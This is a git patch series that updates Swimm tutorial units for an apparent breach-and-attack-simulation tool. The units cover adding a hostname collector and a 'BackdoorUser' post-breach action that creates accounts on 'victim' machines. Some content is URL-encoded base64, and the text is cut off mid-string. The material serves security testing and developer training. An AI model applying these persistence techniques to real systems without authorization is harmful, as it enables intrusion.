ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", - "- HOSTNAME_COLLECTOR: [process_hostname_telemetry],", - " PROCESS_LIST_COLLECTOR: [test_antivirus_existence]", - " }", - " " - ] - } - ] - } + "task": { + "dod": "Add a system info collector that collects the machine hostname.", + "tests": [], + "hints": [ + "First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.", + "Try to run \"socket.getfqdn()\".", + "Take a look at SystemInfoCollector - that's the base class you'll need to implement.", + "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" + ] }, - "app_version": "0.3.5-1", - "file_version": "1.0.4" + "content": [ + { + "type": "text", + "text": "# What are system info collectors?\n\nWell, the name pretty much explains it. They are Monkey classes which collect various information regarding the victim system, such as Environment, SSH Info, Process List, Netstat and more. \n\n## What should I add? \n\nA system info collector which collects the hostname of the system.\n\n## Test manually\n\nOnce you're done, make sure that your collector:\n* Appears in the Island configuration, and is enabled by default\n* The collector actually runs when executing a Monkey.\n* Results show up in the relevant places:\n * The infection map.\n * The security report.\n * The relevant MITRE techniques.\n\n**There are a lot of hints for this unit - don't be afraid to use them!**" + }, + { + "type": "snippet", + "path": "monkey/common/common_consts/system_info_collectors_names.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " AWS_COLLECTOR = \"AwsCollector\"", + "*HOSTNAME_COLLECTOR = \"HostnameCollector\"", + "+# SWIMMER: Collector name goes here.", + " ENVIRONMENT_COLLECTOR = \"EnvironmentCollector\"", + " PROCESS_LIST_COLLECTOR = \"ProcessListCollector\"", + " MIMIKATZ_COLLECTOR = \"MimikatzCollector\"" + ] + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging", + "*import socket", + "*", + "*from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR", + "*from infection_monkey.system_info.system_info_collector import SystemInfoCollector", + " ", + " logger = logging.getLogger(__name__)", + " ", + "*", + "+# SWIMMER: The collector class goes here.", + "*class HostnameCollector(SystemInfoCollector):", + "* def __init__(self):", + "* super().__init__(name=HOSTNAME_COLLECTOR)", + "*", + "* def collect(self) -> dict:", + "* return {\"hostname\": socket.getfqdn()}" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,\r", + "* ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)\r", + " \r", + " SYSTEM_INFO_COLLECTOR_CLASSES = {\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "comments": [], + "firstLineNumber": 37, + "lines": [ + " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", + " \"attack_techniques\": [\"T1082\"]", + " },", + "* {", + "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", + "* \"type\": \"string\",", + "* \"enum\": [", + "* HOSTNAME_COLLECTOR", + "* ],", + "* \"title\": \"Hostname collector\",", + "* \"safe\": True,", + "* \"info\": \"Collects machine's hostname.\",", + "* \"attack_techniques\": [\"T1082\", \"T1016\"]", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", + "* HOSTNAME_COLLECTOR,", + " MONKEY = {", + " \"title\": \"Monkey\",", + " \"type\": \"object\"," + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", + "comments": [], + "firstLineNumber": 85, + "lines": [ + " \"default\": [", + " ENVIRONMENT_COLLECTOR,", + " AWS_COLLECTOR,", + "* HOSTNAME_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " AZURE_CRED_COLLECTOR" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging", + " ", + "*from monkey_island.cc.models.monkey import Monkey", + "+# SWIMMER: This will be useful :) monkey_island.cc.models.monkey.Monkey has the useful", + "+# \"get_single_monkey_by_guid\" and \"set_hostname\" methods.", + " ", + " logger = logging.getLogger(__name__)", + " ", + " ", + "*def process_hostname_telemetry(collector_results, monkey_guid):", + "+# SWIMMER: Processing function goes here.", + "* Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results[\"hostname\"])" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " import logging\r", + " import typing\r", + " \r", + "*from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,\r", + " PROCESS_LIST_COLLECTOR)\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [], + "firstLineNumber": 14, + "lines": [ + " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", + " AWS_COLLECTOR: [process_aws_telemetry],", + " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", + "* HOSTNAME_COLLECTOR: [process_hostname_telemetry],", + " PROCESS_LIST_COLLECTOR: [check_antivirus_existence]", + " }", + " " + ] + }, + { + "type": "snippet", + "lines": [ + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry\r", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\\r", + " process_environment_telemetry\r", + "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry\r", + " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence\r", + " \r", + " logger = logging.getLogger(__name__)\r" + ], + "firstLineNumber": 6, + "path": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "comments": [] + }, + { + "type": "text", + "text": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!" + } + ], + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": {} + } } \ No newline at end of file From 51abb5dacb4cd62b6b43969defaa3a7e3bc00c8c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Feb 2021 16:49:44 +0200 Subject: [PATCH 266/466] Swimm: update unit Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 256 +++++++++++++++------------------- 1 file changed, 115 insertions(+), 141 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 78a13c872..255e44a9b 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -1,147 +1,121 @@ { "id": "tbxb2cGgUiJQ8Btma0fp", "name": "Add a simple Post Breach action", - "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", - "description": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n", - "summary": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... ", - "hunksOrder": [ - "monkey/common/data/post_breach_consts.py_0", - "monkey/infection_monkey/post_breach/actions/add_user.py_0", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_0", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_1", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" - ], - "tests": [], - "hints": [ - "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", - "Make sure to add the PBA to the configuration as well.", - "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." - ], - "play_mode": "all", - "swimmPatch": { - "monkey/common/data/post_breach_consts.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py\nindex 25e6679c..05980288 100644\n--- a/monkey/common/data/post_breach_consts.py\n+++ b/monkey/common/data/post_breach_consts.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,5 +1,5 @@", - " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", - "-POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", - "+# Swimmer: PUT THE NEW CONST HERE!", - " POST_BREACH_FILE_EXECUTION = \"File execution\"", - " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", - " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" - ] - } - ] - }, - "monkey/infection_monkey/post_breach/actions/add_user.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py\nindex 58be89a1..d8476a97 100644\n--- a/monkey/infection_monkey/post_breach/actions/add_user.py\n+++ b/monkey/infection_monkey/post_breach/actions/add_user.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,15 +1,7 @@", - "-from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER", - "-from infection_monkey.config import WormConfiguration", - " from infection_monkey.post_breach.pba import PBA", - " from infection_monkey.utils.users import get_commands_to_add_user", - " ", - " ", - " class BackdoorUser(PBA):", - " def __init__(self):", - "- linux_cmds, windows_cmds = get_commands_to_add_user(", - "+ pass # Swimmer: Impl here!", - "- WormConfiguration.user_to_add,", - "- WormConfiguration.remote_user_pass)", - "- super(BackdoorUser, self).__init__(", - "- POST_BREACH_BACKDOOR_USER,", - "- linux_cmd=' '.join(linux_cmds),", - "- windows_cmd=windows_cmds)" - ] - } - ] - }, - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\nindex 086a1c13..9f23bb8d 100644\n--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py\n+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,5 +1,5 @@", - " from common.data.post_breach_consts import (", - "- POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER)", - "+ POST_BREACH_COMMUNICATE_AS_NEW_USER)", - " from monkey_island.cc.services.attack.technique_reports.pba_technique import \\", - " PostBreachTechnique", - " " - ] - }, - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -11,4 +11,4 @@", - " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", - " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", - " used_msg = \"Monkey created a new user on the network's systems.\"", - "- pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", - "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" - ] - } - ] - }, - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..39ebd33a 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -4,16 +4,7 @@", - " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", - " \"type\": \"string\",", - " \"anyOf\": [", - "- {", - "+ # Swimmer: Add new PBA here to config!", - "- \"type\": \"string\",", - "- \"enum\": [", - "- \"BackdoorUser\"", - "- ],", - "- \"title\": \"Back door user\",", - "- \"safe\": True,", - "- \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", - "- \"attack_techniques\": [\"T1136\"]", - "- },", - " {", - " \"type\": \"string\",", - " \"enum\": [" - ] - } - ] - } + "task": { + "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", + "tests": [], + "hints": [ + "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", + "Make sure to add the PBA to the configuration as well.", + "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." + ] }, - "app_version": "0.3.5-1", - "file_version": "1.0.4", - "hunksOrder": [ - "monkey/common/data/post_breach_consts.py_0", - "monkey/infection_monkey/post_breach/actions/add_user.py_0", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_0", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py_1", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + "content": [ + { + "type": "text", + "text": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n" + }, + { + "type": "snippet", + "path": "monkey/common/common_consts/post_breach_consts.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", + "*POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", + "+# Swimmer: PUT THE NEW CONST HERE!", + " POST_BREACH_FILE_EXECUTION = \"File execution\"", + " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" + ] + }, + { + "type": "snippet", + "path": "monkey/infection_monkey/post_breach/actions/add_user.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER", + "*from infection_monkey.config import WormConfiguration", + " from infection_monkey.post_breach.pba import PBA", + " from infection_monkey.utils.users import get_commands_to_add_user", + " ", + " ", + " class BackdoorUser(PBA):", + " def __init__(self):", + "* linux_cmds, windows_cmds = get_commands_to_add_user(", + "+ pass # Swimmer: Impl here!", + "* WormConfiguration.user_to_add,", + "* WormConfiguration.remote_user_pass)", + "* super(BackdoorUser, self).__init__(", + "* POST_BREACH_BACKDOOR_USER,", + "* linux_cmd=' '.join(linux_cmds),", + "* windows_cmd=windows_cmds)" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "comments": [], + "firstLineNumber": 1, + "lines": [ + "*from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER\r", + " from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique\r", + " \r", + " __author__ = \"shreyamalviya\"\r" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py", + "comments": [], + "firstLineNumber": 9, + "lines": [ + " unscanned_msg = \"Monkey didn't try creating a new user on the network's systems.\"", + " scanned_msg = \"Monkey tried creating a new user on the network's systems, but failed.\"", + " used_msg = \"Monkey created a new user on the network's systems.\"", + "* pba_names = [POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER]", + "+ pba_names = [POST_BREACH_COMMUNICATE_AS_NEW_USER]" + ] + }, + { + "type": "snippet", + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [], + "firstLineNumber": 4, + "lines": [ + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"type\": \"string\",", + " \"anyOf\": [", + "* {", + "+ # Swimmer: Add new PBA here to config!", + "* \"type\": \"string\",", + "* \"enum\": [", + "* \"BackdoorUser\"", + "* ],", + "* \"title\": \"Back door user\",", + "* \"safe\": True,", + "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "* \"attack_techniques\": [\"T1136\"]", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + }, + { + "type": "text", + "text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... " + } ], - "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" + "file_version": "2.0.0", + "meta": { + "app_version": "0.3.7-0", + "file_blobs": { + "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", + "monkey/infection_monkey/post_breach/actions/add_user.py": "a85845840d9cb37529ad367e159cd9001929e759", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "d9d86e08ea4aeb0a6bee3f483e4fea50ee6cd200", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "857e80da477ab31dbc00ed0a3f1cd49b69b505fa" + } + } } \ No newline at end of file From 522000d1698219e694039a225a199898f1636f90 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Feb 2021 16:51:52 +0200 Subject: [PATCH 267/466] Swimm: update unit Define what your new PBA does (id: xYkxB76pK0peJj2tSxBJ). --- .swm/xYkxB76pK0peJj2tSxBJ.swm | 64 +++++++++++++++++++++-------------- 1 file changed, 39 insertions(+), 25 deletions(-) diff --git a/.swm/xYkxB76pK0peJj2tSxBJ.swm b/.swm/xYkxB76pK0peJj2tSxBJ.swm index cf34817e6..3dd341f8e 100644 --- a/.swm/xYkxB76pK0peJj2tSxBJ.swm +++ b/.swm/xYkxB76pK0peJj2tSxBJ.swm @@ -1,30 +1,44 @@ { "id": "xYkxB76pK0peJj2tSxBJ", "name": "Define what your new PBA does", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMGNvbnN0JTIwdGhhdCUyMGRlZmluZXMlMjB3aGF0JTIwdGhlJTIwUEJBJTIwZG9lcy4=", - "description": "VGhlJTIwbmFtZSUyMG9mJTIweW91ciUyMG5ldyUyMFBCQSUyMCh3aGljaCUyMGNyZWF0ZXMlMjBzY2hlZHVsZWQlMjBqb2JzJTIwb24lMjB0aGUlMjBtYWNoaW5lKSUyMHdpbGwlMjBiZSUyMHVzZWQlMjBpbiUyMGElMjBmZXclMjBwbGFjZXMlMkMlMjBpbmNsdWRpbmclMjB0aGUlMjByZXBvcnQuJTIwJTNDYnIlM0UlM0NiciUzRSUwQVlvdSUyMHNob3VsZCUyMGJyaWVmbHklMjBkZWZpbmUlMjB3aGF0JTIweW91ciUyMFBCQSUyMGRvZXMlMjBpbiUyMGElMjBjb25zdGFudCUyMHZhcmlhYmxlJTJDJTIwc3VjaCUyMHRoYXQlMjBpdCUyMGNhbiUyMGJlJTIwdXNlZCUyMGJ5JTIwYm90aCUyMHRoZSUyME1vbmtleSUyMGFuZCUyMHRoZSUyME1vbmtleSUyMElzbGFuZC4lMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwTWFrZSUyMHN1cmUlMjB0aGUlMjAlMjJKb2IlMjBzY2hlZHVsaW5nJTIyJTIwUEJBJTIwaXMlMjBlbmFibGVkJTIwaW4lMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMjAlRTIlODAlOTQlMjBmb3IlMjB0aGlzJTIwdGVzdCUyQyUyMGRpc2FibGUlMjBuZXR3b3JrJTIwc2Nhbm5pbmclMkMlMjBleHBsb2l0aW5nJTJDJTIwYW5kJTIwYWxsJTIwb3RoZXIlMjBQQkFzJTBBLSUyMFJ1biUyMHRoZSUyME1vbmtleSUwQS0lMjBDaGVjayUyMHRoZSUyMFBCQSUyMHNlY3Rpb24lMjBpbiUyMHRoZSUyMFNlY3VyaXR5JTIwcmVwb3J0JTIwZm9yJTIwdGhlJTIwbmFtZSUyMHlvdSUyMGdhdmUlMjB0byUyMHRoZSUyMG5ldyUyMFBCQSUyMCUyMCUwQSUwQSUzQ2ltZyUyMHNyYyUzRCUyMmh0dHBzJTNBJTJGJTJGZmlyZWJhc2VzdG9yYWdlLmdvb2dsZWFwaXMuY29tJTJGdjAlMkZiJTJGc3dpbW1pby1jb250ZW50JTJGbyUyRnJlcG9zaXRvcmllcyUyNTJGNk5sYjk5TnRZNUZjM2JTZDhzdUglMjUyRmltZyUyNTJGZjBlNTNlNmMtOWRiZS00MWQ4LTk0NTQtMmI1NzYxYzNmNTNhLnBuZyUzRmFsdCUzRG1lZGlhJTI2dG9rZW4lM0QyMWFhNGJiOC03ZWJlLTRkYWItYTczOS1jNzdlMDU5MTQ0ZGQlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=", - "summary": "LSUyMFRoZSUyMG5hbWUlMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHlvdXIlMjBQQkElMjBjYW4lMjBiZSUyMHNlZW4lMjBvbiUyMHRoZSUyME1vbmtleSUyMElzbGFuZCUyMGluJTIwdGhlJTIwUEJBJTIwc2VjdGlvbiUyMGluJTIwdGhlJTIwU2VjdXJpdHklMjByZXBvcnQuJTBBLSUyMFRoZSUyMHJlc3VsdHMlMjBvZiUyMGVhY2glMjBQQkElMjBzdG9yZWQlMjBpbiUyMHRoZSUyMHRlbGVtZXRyeSUyMGFyZSUyMGFsc28lMjBpZGVudGlmaWVkJTIwYnklMjB0aGUlMjBzdHJpbmclMjBkZWZpbmVkJTIwaGVyZSUyMGZvciUyMHRoYXQlMjBQQkEu", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwMjVlNjY3OWMuLjQ2ZDgwMmRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlMjIlMEElMjBQT1NUX0JSRUFDSF9ISURERU5fRklMRVMlMjAlM0QlMjAlMjJIaWRlJTIwZmlsZXMlMjBhbmQlMjBkaXJlY3RvcmllcyUyMiUwQSUyMFBPU1RfQlJFQUNIX1RSQVBfQ09NTUFORCUyMCUzRCUyMCUyMkV4ZWN1dGUlMjBjb21tYW5kJTIwd2hlbiUyMGElMjBwYXJ0aWN1bGFyJTIwc2lnbmFsJTIwaXMlMjByZWNlaXZlZCUyMiUwQSUyMFBPU1RfQlJFQUNIX1NFVFVJRF9TRVRHSUQlMjAlM0QlMjAlMjJTZXR1aWQlMjBhbmQlMjBTZXRnaWQlMjIlMEEtUE9TVF9CUkVBQ0hfSk9CX1NDSEVEVUxJTkclMjAlM0QlMjAlMjJTY2hlZHVsZSUyMGpvYnMlMjIlMEElMkIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUwQSUyMFBPU1RfQlJFQUNIX1RJTUVTVE9NUElORyUyMCUzRCUyMCUyMk1vZGlmeSUyMGZpbGVzJyUyMHRpbWVzdGFtcHMlMjIlMEElMjBQT1NUX0JSRUFDSF9TSUdORURfU0NSSVBUX1BST1hZX0VYRUMlMjAlM0QlMjAlMjJTaWduZWQlMjBzY3JpcHQlMjBwcm94eSUyMGV4ZWN1dGlvbiUyMiUwQSUyMFBPU1RfQlJFQUNIX0FDQ09VTlRfRElTQ09WRVJZJTIwJTNEJTIwJTIyQWNjb3VudCUyMGRpc2NvdmVyeSUyMiUwQQ==", - "tests": [], - "hints": [ - "See the `Timestomping` PBA. How is the name of the PBA set?" - ], - "files": { - "monkey/common/data/post_breach_consts.py": { - "index": [ - "25e6679c..46d802de", - "100644" - ], - "fileA": "monkey/common/data/post_breach_consts.py", - "fileB": "monkey/common/data/post_breach_consts.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC01JTJDNyUyMCUyQjUlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfU0hFTExfU1RBUlRVUF9GSUxFX01PRElGSUNBVElPTiUyMCUzRCUyMCU1QyUyMk1vZGlmeSUyMHNoZWxsJTIwc3RhcnR1cCUyMGZpbGUlNUMlMjIlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTVDJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9UUkFQX0NPTU1BTkQlMjAlM0QlMjAlNUMlMjJFeGVjdXRlJTIwY29tbWFuZCUyMHdoZW4lMjBhJTIwcGFydGljdWxhciUyMHNpZ25hbCUyMGlzJTIwcmVjZWl2ZWQlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TRVRVSURfU0VUR0lEJTIwJTNEJTIwJTVDJTIyU2V0dWlkJTIwYW5kJTIwU2V0Z2lkJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNyUyQyUyMmIlMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMlBPU1RfQlJFQUNIX0pPQl9TQ0hFRFVMSU5HJTIwJTNEJTIwJTVDJTIyU2NoZWR1bGUlMjBqb2JzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMyUyMFN3aW1tZXIlM0ElMjBQVVQlMj